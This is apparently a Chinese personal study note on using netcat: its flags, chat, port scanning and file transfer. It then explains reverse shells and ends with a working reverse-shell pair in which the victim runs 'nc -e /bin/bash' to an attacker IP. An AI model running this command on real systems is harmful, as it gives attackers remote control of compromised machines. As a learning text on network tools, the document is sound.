前言
记录学习linux中nc的使用,以及反弹shell
仅供个人学习,如有冒犯请尽快联系
一、nc是什么?
nc是netcat的简写,因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,有着网络界的瑞士军刀美誉。
二、nc的使用
1. 仿真聊天
2. 端口连通性测试
3. 测试tcp端口的连通性
4. 文件及目录的传输
nc的控制参数不少,常用的几个参数:
- -l 使用监听模式,管理传入的信息
- -p <通信端口>,设置本地主机使用的通信端口
- -s 指定发送数据的源IP地址,适用于多网卡机
- -u 指定nc使用UDP协议,默认为TCP
- -v 输出交互或出错信息,新手调试时尤为有用
- -w 超时秒数,后面跟数字
- -z 表示zero,表示扫描时不发送任何数据,只在扫描通信端口时使用
- -k 永久占用某端口。RHEL7 or later只支持TCP端口的永久占用
1.终端间对话
仿真聊天
使用ctrl+C(或D)退出
2.端口扫描
nc -v -u -z www.baidu.com 514可以扫描端口,当然,端口可以修改
3.传输文件
接收端
nc -l -v 端口号>要写入的文件名(跟被传输文件名可以不一样)
nc -l -v 5555 > 2.txt
发送端
nc -v 接收端的ip 端口号<被传输文件名
nc -v 192.168.27.128 9999 < 1.txt
三、利用nc反弹shell
1.为何需要反弹shell
当正向连接不可达时:
- 客户机中了木马,但是在局域网内,无法正向连接。
- 由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求
2.反弹shell原理
反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。
3.用bash反弹shell
攻击端
nc -lvp 5555
被攻击端
nc -e /bin/bash 192.168.27.128 5555